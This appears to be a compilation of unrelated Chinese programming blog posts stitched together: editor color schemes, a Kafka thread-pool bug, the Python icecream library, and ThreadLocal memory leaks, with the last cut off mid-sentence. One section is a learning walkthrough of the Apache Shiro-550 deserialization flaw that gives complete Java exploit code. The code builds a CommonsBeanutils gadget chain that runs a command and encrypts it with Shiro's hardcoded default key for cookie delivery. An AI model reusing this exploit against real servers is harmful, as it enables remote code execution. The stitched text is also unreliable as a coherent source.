2024年3月

引言

作为一名程序员,我想大多数人应该都不愿意一直盯着单调的、颜色单一的屏幕吧,如果你也是这样,那希望这篇文章能够帮助到你。

本文阿高将会介绍一系列的配色方案,都是好看又好用的优秀方案,它们可不只是“花瓶”,不仅仅能让你眼前一亮,还能够提高代码的辨识度,帮助大家更方便的阅读和理解代码结构,从而提高工作效率。

Catppuccin

Catppuccin 是阿高最喜欢也最常用的配色方法,如果你更喜欢低对比度或者说柔和一些的方案,那么它就是你的首选,下面这些图是 Catppuccin 在 neovim 中的效果:

catppuccin-frapp

catppuccin-latte

catppuccin-macchiato

catppuccin-mocha

在这之中,阿高最中意的就是
catppuccin mocha
,它的低对比度色彩配合温和的背景,让人一看就能感到舒适,在很大程度上是可以减少长时间编程带来的视觉疲劳,对于任何经常面对代码的人来说,Catppuccin 是非常好的选择。

当然,Catppuccin 可不仅仅只能由于代码的配色方案上,目前在项目网站列出的可用应用,就已经超过上百种,不仅仅代码编辑器和开发工具,还有:

  • 各种编程语言的第三方颜色库
  • 命令行工具的配色
  • 系统程序甚至系统本身的配色
  • 其他各式各样的应用程序...

如果感兴趣可以到项目官网查看:
https://github.com/catppuccin/catppuccin

Tokyonight

如果你更喜欢强烈的对比和深色主题,那么Tokyonight主题就是你的首选。下面这些图是 Tokyonight 在 neovim 中的效果:

tokyonight-night

tokyonight-storm

tokyonight-day

tokyonight-moon

Tokyonight的颜色搭配是其最大的亮点,我最喜的
moon
配色方案中深蓝色的背景配上粉色和绿色的高亮,给人一种赏心悦目的感觉,这是我在 neovim 中使用的默认配色。

另外 Tokyonight 也不仅仅只能用于开发中,只是选择相比
Catppuccin
就少的多的,感兴趣的可以去项目官网查看:
https://github.com/folke/tokyonight.nvim

Onedark

接下来要介绍的是 Onedark,它是一种非常流行非常经典的配色方案,估计很多使用 VSCode 的同学们使用的就是它,让我们看一下它在 neovim 下的效果:

onedark-darker

onedark-cool

onedark-warmer

onedark-deep

Onedark的颜色有一定的对比度,但却不会刺眼,这使得它在许多程序员中非常受欢迎。它的颜色搭配使得代码易于阅读,同时又保持了舒适的视觉体验,实属精品。

而且就我在 VSCode 上的使用体验,这个主题的渲染速度好像相对更快,不知道是错觉还是咋回事,同时这个配色方案的可选主题更多,这里只展示了其他一部分,更多内容可以到项目官网查看:
https://github.com/navarasu/onedark.nvim

Dracula

Dracula 配色方案是我最早了解到的,应该已经有好多年了,也是一款非常好用的方案,下面是它在 neovim 下的效果:

dracula

是不是也非常漂亮,阿高目前已经很少再使用 dracula 了,但不得不说它依旧坚挺,还在持续不断的更新,并且支持非常多的应用,更多的我就不详细介绍了,大家去项目官网一看便知:
https://github.com/Mofiqul/dracula.nvim

其他

除了上述这些配色方案外,实际上还有更多优秀的方案,例如:Solarized,Nord 和 Material Theme 等等都值得一试,甚至有很多我都没有见过的,如果大家有知道的可以分享出来一起折腾。

结论

正如世界上每个人都是不同的,每个人的眼光习惯都是不一样的。希望通过本文,你可以找到最适合你的主题,让你在编程的道路上走得更远,创造出更多美妙的代码!如果没有找到也没有关系,也可以根据自己的审美自定义配色方案,总有一款适合你。

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带
Commoncollections
的,除此之外还带了一个包叫做
CommonBeanUtils
,主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

之后tomat搭起来就行了,选择sample-web.war

CB链分析

先回顾一下CC4

* Gadget chain:
 *      ObjectInputStream.readObject()
 *          PriorityQueue.readObject()
 *              PriorityQueue.heapify()
 *                  PriorityQueue.siftDown()
 *                 PriorityQueue.siftDownUsingComparator()
 *                     TransformingComparator.compare()
 *                         InvokerTransformer.transform()
 *                             Method.invoke()
 *                                 TemplatesImpl.newTransformer()
 *                                     TemplatesImpl.getTransletInstance()
 *                                         Runtime.exec()

CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到
BeanComparator
这个类

主要看
PropertyUtils.getProperty
这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取name
property
属性

写个demo测试一下

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
    private String name;
    private int age;
    public User(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("Hello, getname");
        return name;
    }
    public int getAge() {
        System.out.println("Hello, getage");
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        PropertyUtils.getProperty(new User("F12", 18), "name");
        PropertyUtils.getProperty(new User("F12", 18), "age");
    }
}

// 输出
Hello, getname
Hello, getage

这样就可以利用
TemplatesImpl
中的
getOutputProperties
方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承
AbstractTranslet
类,或则改掉父类的默认值,如果忘了请回顾CC3
依赖:

<dependencies>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
        </dependency>
</dependencies>
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        deserialize("cb.bin");
    }
}

追踪一下链的过程,在
PriorityQueue
的readObject打个断点,开追,进入heapify

进入siftDown

进入siftDownUsingComparator

进入compare,到达关键点,获取TemplatesImpl的outputProperites属性

调用
TemplatesImpl.getOutputProperites

进入newTransformer

进入getTransletInstance,到达世界最高城
defineTransletClasses

后面就不看了,就是defineClass,至此CB链结束,还挺简单的

Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize

可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

但是直接报错了,报的是cc中的
ComparableComparator
的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而
org.apache.commons.collections.comparators.ComparableComparator
这个类就在CC包里面,且在shiro中没有,所以寄

无依赖Shiro550 Attack

关键点在于compare方法,如果不指定comparator的话,会默认为cc中的
ComparableComparator

因此我们需要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到AttrCompare

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(beanComparator, "comparator", new AttrCompare());
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

成功Attack

1、背景

在我们的项目中有这么一个场景,需要消费
kafka
中的消息,并生成对应的工单数据。早些时候程序运行的好好的,但是有一天,
我们升级了容器的配置
,结果导致部分消息无法消费。而消费者的代码是使用
CompletableFuture.runAsync(() -> {while (true){ ..... }})
来实现的。
即:

  1. 需要消费Kafka topic的个数: 7个,每个线程消费一个topic
  2. 消费方式:使用线程池异步消费
  3. 消费池:默认的
    ForkJoin
    线程池
    ???
    ,并且没有做任何配置
  4. 是否会释放线程池中的核心线程: 不会释放
  5. 没出问题时容器配置:
    2核4G
  6. 出问题时容器配置:
    4核8G
    ,影响的结果:
    只有3个topic
    的数据可以消费。

2、容器2核4G可以正常消费

容器2核4G可以正常消费

即:此时程序会启动7个线程来进行消费。

3、容器4核8G只有部分可以消费

容器4核8G只有部分可以消费

即:此时程序会启动3个线程来进行消费。

4、问题原因分析

1、通过上面的
背景
我们可以知道,是因为升级了
容器的配置
,才导致我们消费
kafka
中的消息失败了。
2、针对
kafka
中的每个
topic
,我们都会使用一个
单独的线程
来消费,并且
不会释放
这个线程。
3、而线程的启动方式是通过
CompletableFuture.runAsync()
方法来启动的,
那么通过这种方式启动的线程,是每个任务一个启动一个线程,还是只启动固定的线程呢?
.

通过以上分析,那么问题肯定是出现在
线程池
身上,那么我们默认使用的是什么线程池呢?查看
CompletableFuture.runAsync()
的源码可知,有一定的几率是
ForkJoinPool
。那么我们一起看下源码。

5、源码分析

源码分析

1、确认使用什么线程池

public static CompletableFuture<Void> runAsync(Runnable runnable) {
   return asyncRunStage(asyncPool, runnable);
}
private static final Executor asyncPool = useCommonPool ?
        ForkJoinPool.commonPool() : new ThreadPerTaskExecutor();

通过上述源码可知,我们可能使用的
ForkJoin
线程池,也可能使用的是
ThreadPerTaskExecutor
线程池。

  1. ThreadPerTaskExecutor
    这个是每个任务,一个线程。
  2. ForkJoinPool
    那么就需要确定启动了多少个线程。

2、确认是否使用 ForkJoin 线程池

需要确定
useCommonPool
字段是如何赋值的。

private static final boolean useCommonPool =
        (ForkJoinPool.getCommonPoolParallelism() > 1);

通过上面代码可知,是否使用ForkJoin线程池,是由
ForkJoinPool.getCommonPoolParallelism()
的值确定的。(即并行度是否大于1,大于则使用ForkJoin线程池)

public static int getCommonPoolParallelism() {
    return commonParallelism;
}

3、commonParallelism 的赋值

commonParallelism 的赋值

1、从上图中可知
parallelism
的设置有2种方式

  • 通过Jvm的启动参数
    java.util.concurrent.ForkJoinPool.common.parallelism
    进行设置,且这个值最大为
    MAX_CAP
    即32727。
  • 若没有通过Jvm的参数配置,则有
    2种情况
    ,若cpu的核数<=1,则返回1,否则返回cpu的核数-1

2、commonParallelism的取值

common = java.security.AccessController.doPrivileged
            (new java.security.PrivilegedAction<ForkJoinPool>() {
                public ForkJoinPool run() { return makeCommonPool(); }});
int par = common.config & SMASK; // report 1 even if threads disabled
commonParallelism = par > 0 ? par : 1;

SMASK
的值是 65535。
common.config
的值就是
(parallelism & SMASK) | 0
的值,即最大为65535,若parallelism的值为0,则返回0。
int par = common.config & SMASK
,即最大为 65535
commonParallelism = par > 0 ? par : 1
的值就为
parallelism
的值或1

6、结论

结论

结论:
由上面的知识点,我们可以得出,当我们的容器是2核4G时,程序选择的线程池是
ThreadPerTaskExecutor
,当我们的容器是4核8G时,程序选择的线程池是
ForkJoinPool

print
是我们平时写些
python
小工具时,最常用的调试工具。
因为开发代码时,常常通过
print
将执行流程、变量的值以及其他关键信息输出到控制台来观察,
以便了解程序执行情况和调试
bug

但是,
print
的输出过于简单,在输出变量内容,函数调用,执行过程等相关信息时,
往往需要自己手动去补充很多的输出信息的说明,否则很容易搞不清输出的内容是什么。

而今天介绍的
icecream
,为我们提供了一种更加优雅和强大的方式来调试代码。
它不仅可以自动格式化输出内容,自动添加必要的描述信息,而且使用起来也比
print
更加简单。

1. 安装

通过
pip
安装:

pip install icecream

安装之后可以通过打印其版本来验证是否安装成功。
image.png

2. 使用示例

下面看看
icecream
如何替换开发中常见的各种
print
场景。

2.1. 调试变量

首先是调试变量,这也是用的最多的场景。
开发中,我们常常需要将变量打印出来以确认是否正确赋值。

print
方式:

# 数值和字符串
i = 100
f = 3.14
s = "abc"
print(i, f, s)

# 元组,列表和字典
t = (10, 20, 30)
l = [1, 2, 3]
d = {"A": "abc", "B": 100}
print(t, l, d)
print(t[0], l[1], d["A"])

# 类
class c:
    name = "ccc"
    addr = "aa bb cc"

print(c.name, c.addr)

image.png

icecream
方式:

from icecream import ic

# 数值和字符串
i = 100
f = 3.14
s = "abc"
ic(i, f, s)

# 元组,列表和字典
t = (10, 20, 30)
l = [1, 2, 3]
d = {"A": "abc", "B": 100}
ic(t, l, d)
ic(t[0], l[1], d["A"])

# 类
class c:
    name = "ccc"
    addr = "aa bb cc"

ic(c.name, c.addr)

image.png

通过比较,可以看出
icecream
的几个优势:

  1. 输入效率更高,因为
    ic

    print
    更容易输入,只有两个字母。
  2. 自动带上变量名称,一眼看出打印的是哪个变量的值
  3. 变量名称和值用不同的颜色显示,容易区分

2.2. 调试函数输出

调试函数输出也是常用的,如果把函数调用也看做一个变量的话,其实这个和上面打印变量类似。
print
方式:

def func(a: int, b: int):
    return a + b

print(func(2, 3))

image.png

icecream
方式:

from icecream import ic

def func(a: int, b: int):
    return a + b

ic(func(2, 3))

image.png

2.3. 调试执行过程

接下来是调试执行过程,当代码中有很多分支判断时,我们常常是在各个分支中
print
不同的数字,
然后用不同的输入看看代码是否按照预期的那样进入不同而分支。
比如,下面构造一个多分支判断的函数,看看分别用
print

icecream
是如何调试的。

print
方式:

def pflow(a: float, b: float):
    print(1)
    evaluate = ""
    if a > 90 and b > 90:
        print(2)
        evaluate = "优"
    elif a > 80 and b > 80:
        print(3)
        evaluate = "良"
    elif a > 70 and b > 70:
        print(4)
        evaluate = "中"
    else:
        print(5)
        evaluate = "及格"

    if a < 60 or b < 60:
        print(6)
        evaluate = "不合格"

    print(7)
    return evaluate

pflow(98, 92)
print("---------------------")
pflow(75, 65)
print("---------------------")
pflow(88, 85)
print("---------------------")
pflow(77, 72)
print("---------------------")
pflow(98, 55)

image.png
需要根据数字去看看分支执行是否符合预期。

icecream
方式:

from icecream import ic

def flow(a: float, b: float):
    ic()
    evaluate = ""
    if a > 90 and b > 90:
        ic()
        evaluate = "优"
    elif a > 80 and b > 80:
        ic()
        evaluate = "良"
    elif a > 70 and b > 70:
        ic()
        evaluate = "中"
    else:
        ic()
        evaluate = "及格"

    if a < 60 or b < 60:
        ic()
        evaluate = "不合格"

    ic()
    return evaluate

flow(98, 92)
ic()
flow(75, 65)
ic()
flow(88, 85)
ic()
flow(77, 72)
ic()
flow(98, 55)

image.png
简简单单的一个
**ic()**
,会把执行的代码位置和函数名称,执行时间等打印出来。

2.4. 定制化输出

最后,
icecream
还提供了强大的定制化接口,可以按照自己的需要调整输出的内容。

首先,我们注意到通过
ic()
打印的内容都有一个
ic |
前缀,
实际使用时,我们希望将其替换为和项目相关的文字。
比如,我基于
manim
做个小动画,希望打印的前缀是
manim |

from icecream import ic

def cfg():
    ic.configureOutput(prefix="manim -> | ")

ic("something")
cfg()
ic("something")

image.png

前缀还可以是动态的,比如用执行时间作为前缀:

from icecream import ic

def cfg():
    import time

    time_prefix = lambda: time.strftime("%Y-%m-%d %H:%M:%S -> | ", time.localtime())
    ic.configureOutput(prefix=time_prefix)

ic("something")
cfg()
ic("something")

image.png

除了定义前缀,还可以在输出时添加我们需要的信息。
比如,我们希望打印
字符串

列表

字典
变量时,顺带输出其长度信息,不用在再去额外打印其长度信息。

from icecream import ic

def add_info(obj):
    if isinstance(obj, str) or isinstance(obj, list) or isinstance(obj, dict):
        return f"{obj}(len:{len(obj)})"

    return repr(obj)

ic.configureOutput(argToStringFunction=add_info)
i = 100
f = 3.14
s = "abc"
ic(i, f, s)

t = (10, 20, 30)
l = [1, 2, 3]
d = {"A": "abc", "B": 100}
ic(t, l, d)

image.png
从打印内容可以看出,
字符串

列表

字典
变量后面有长度
len
信息,
而数值变量和元组,则没有打印长度
len
信息。

同样,在数据分析时,也可以通过定制,
让我们打印
pandas

DataFrame
内容时,顺带打印出其
shape
信息。

import pandas as pd

def add_info(obj):
    if isinstance(obj, pd.DataFrame):
        return f"{obj}\nshape:{obj.shape}"

    return repr(obj)

df = pd.DataFrame({"A": [1, 2, 3], "B": [4, 5, 6]})
ic(df)

image.png

3. 总结

总的来说,
icecream
提供了一种更加现代和高效的调试方式,让我们更关注需要打印的内容,不用去操心打印的格式。

除了
python

icecream
还有一系列其他语言的接口:

引言

ThreadLocal
在Java多线程编程中扮演着重要的角色,它提供了一种线程局部存储机制,允许每个线程拥有独立的变量副本,从而有效地避免了线程间的数据共享冲突。ThreadLocal的主要用途在于,当需要为每个线程维护一个独立的上下文变量时,比如每个线程的事务ID、用户登录信息、数据库连接等,可以减少对同步机制如
synchronized
关键字或Lock类的依赖,提高系统的执行效率和简化代码逻辑。

但是我们在使用
ThreadLocal
时,经常因为使用不当导致内存泄漏。此时就需要我们去探究一下
ThreadLocal
在哪些场景下会出现内存泄露?哪些场景下不会出现内存泄露?出现内存泄露的根本原因又是什么呢?如何避免内存泄露?

ThreadLocal原理

ThreadLocal
的实现基于每个线程内部维护的一个
ThreadLocalMap

public class Thread implements Runnable {
	 /* ThreadLocal values pertaining to this thread. This map is maintained
     * by the ThreadLocal class. */
    ThreadLocal.ThreadLocalMap threadLocals = null;
}

ThreadLocalMap

ThreadLocal
类的一个静态内部类,
ThreadLocal
本身不能存储数据,它在作用上更像一个工具类,
ThreadLocal
类提供了
set(T value)

get()
等方法来操作
ThreadLocalMap
存储数据。

public class ThreadLocal<T> {
    // ...
    public void set(T value) {
        Thread t = Thread.currentThread();
        ThreadLocalMap map = getMap(t);
        if (map != null)
            map.set(this, value);
        else
            createMap(t, value);
    }

    public T get() {
        Thread t = Thread.currentThread();
        ThreadLocalMap map = getMap(t);
        if (map != null) {
            ThreadLocalMap.Entry e = map.getEntry(this);
            if (e != null) {
                @SuppressWarnings("unchecked")
                T result = (T)e.value;
                return result;
            }
        }
        return setInitialValue();
    }

    ThreadLocalMap getMap(Thread t) {
        return t.threadLocals;
    }
    // ...
}


ThreadLocalMap
内部维护了一个
Entry
数据,用来存储数据,
Entry
继承了
WeakReference
,所以
Entry
的key是一个弱引用,可以被GC回收。
Entry
数组中的每一个元素都是一个
Entry
对象。每个
Entry
对象中存储着一个
ThreadLocal
对象与其对应的value值。

static class ThreadLocalMap {

	static class Entry extends WeakReference<ThreadLocal<?>> {
            /** The value associated with this ThreadLocal. */
            Object value;

            Entry(ThreadLocal<?> k, Object v) {
                super(k);
                value = v;
            }
        }
}

关于弱引用的知识点,请参考:
美团一面:说一说Java中的四种引用类型?


Entry
数组中
Entry
对象的下标位置是通过
ThreadLocal

threadLocalHashCode
计算出来的。

private ThreadLocalMap(ThreadLocalMap parentMap) {
	Entry[] parentTable = parentMap.table;
	int len = parentTable.length;
	setThreshold(len);
	table = new Entry[len];

	for (Entry e : parentTable) {
		if (e != null) {
			@SuppressWarnings("unchecked")
			ThreadLocal<Object> key = (ThreadLocal<Object>) e.get();
			if (key != null) {
				Object value = key.childValue(e.value);
				Entry c = new Entry(key, value);
				// 通过key的threadLocalHashCode计算下标,这个key就是ThreadLocall对象
				int h = key.threadLocalHashCode & (len - 1);
				while (table[h] != null)
					h = nextIndex(h, len);
				table[h] = c;
				size++;
			}
		}
	}
}

而从
Entry
数组中获取对应key即
ThreadLocal
对应的value值时,也是通过key的
threadLocalHashCode
计算下标,从而可以快速的返回对应的
Entry
对象。

private Entry getEntry(ThreadLocal<?> key) {
// 通过key的threadLocalHashCode计算下标,这个key就是ThreadLocall对象
	int i = key.threadLocalHashCode & (table.length - 1);
	Entry e = table[i];
	if (e != null && e.get() == key)
		return e;
	else
		return getEntryAfterMiss(key, i, e);
}


Thread
中,可以存储多个
ThreadLocal
对象。
Thread

ThreadLocal

ThreadLocalMap
以及
Entry
数组的关系如下图:

image.png

ThreadLocal在哪些场景下不会出现内存泄露?

当一个对象失去所有强引用,或者它仅被弱引用、软引用、虚引用关联时,垃圾收集器(GC)通常都能识别并回收这些对象,从而避免内存泄漏的发生。当我们在手动创建线程时,若将变量存储到
ThreadLocal
中,那么在
Thread
线程正常运行的过程中,它会维持对内部
ThreadLocalMap
实例的引用。只要该
Thread
线程持续执行任务,这种引用关系将持续存在,确保
ThreadLocalMap
实例及其中存储的变量不会因无引用而被GC回收。

image.png

当线程执行完任务并正常退出后,线程与内部
ThreadLocalMap
实例之间的强引用关系随之断开,这意味着线程不再持有
ThreadLocalMap
的引用。在这种情况下,失去强引用的
ThreadLocalMap
对象将符合垃圾收集器(GC)的回收条件,进而被自动回收。与此同时,鉴于
ThreadLocalMap
内部的键(
ThreadLocal
对象)是弱引用,一旦
ThreadLocalMap
被回收,若此时没有其他强引用指向这些
ThreadLocal
对象,它们也将被GC一并回收。因此,在线程结束其生命周期后,与之相关的
ThreadLocalMap
及其包含的
ThreadLocal
对象理论上都能够被正确清理,避免了内存泄漏问题。

实际应用中还需关注
ThreadLocalMap
中存储的值(非键)是否为强引用类型,因为即便键(
ThreadLocal
对象)被回收,如果值是强引用且没有其他途径释放,仍可能导致内存泄漏。

ThreadLocal在哪些场景下会出现内存泄露?

在实际项目开发中,如果为每个任务都手动创建线程,这是一件很耗费资源的方式,并且在阿里巴巴的开发规范中也提到,不推荐使用手动创建线程,推荐使用线程池来执行相对应的任务。那么当我们使用线程池时,线程池中的线程跟
ThrealLocalMap
的引用关系如下:

image.png

在使用线程池处理任务时,每一个线程都会关联一个独立的
ThreadLocalMap
对象,用于存储线程本地变量。由于线程池中的核心线程在完成任务后不会被销毁,而是保持活动状态等待接收新的任务,这意味着核心线程与其内部持有的
ThreadLocalMap
对象之间始终保持着强引用关系。因此,只要核心线程存活,其所对应的
ThreadLocal
对象和
ThreadLocalMap
不会被垃圾收集器(GC)自动回收,此时就会存在内存泄露的风险。

关于Java中的线程池参数以及原理,请参考:
Java线程池最全讲解

出现内存泄露的根本原因

由上述
ThreadLocalMap
的结构图以及
ThreadLocalMap
的源码中,我们知道
ThreadLocalMap
中包含一个
Entry
数组,而
Entry
数组中的每一个元素就是
Entry
对象,
Entry
对象中存储的Key就是
ThreadLocal
对象,而value就是要存储的数据。其中,
Entry
对象中的Key属于弱引用。

static class ThreadLocalMap {

	static class Entry extends WeakReference<ThreadLocal<?>> {
            /** The value associated with this ThreadLocal. */
            Object value;

            Entry(ThreadLocal<?> k, Object v) {
                super(k);
                value = v;
            }
        }
}

而对于弱引用
WeakReference
,在引用的对象使用完毕之后,即使内存足够,GC也会对其进行回收。

关于弱引用的知识点,请参考:
美团一面:说一说Java中的四种引用类型?

image.png


Entry
对象中的Key被GC自动回收后,对应的
ThreadLocal
被GC回收掉了,变成了null,但是
ThreadLocal
对应的value值依然被
Entry
引用,不能被GC自动回收。这样就造成了内存泄漏的风险。
image.png

在线程池环境下使用
ThreadLocal
存储数据时,内存泄露的风险主要源自于线程生命周期管理及
ThreadLocalMap
内部结构的设计。由于线程池中的核心线程在完成任务后会复用,每个线程都会维持对各自关联的
ThreadLocalMap
对象的强引用,这确保了只要线程持续存在,其对应的
ThreadLocalMap
就无法被垃圾收集器(GC)自动回收。

进一步分析,
ThreadLocalMap
内部采用一个Entry数组来保存键值对,其中每个条目的Key是当前线程中对应
ThreadLocal
实例的弱引用,这意味着当外部不再持有该
ThreadLocal
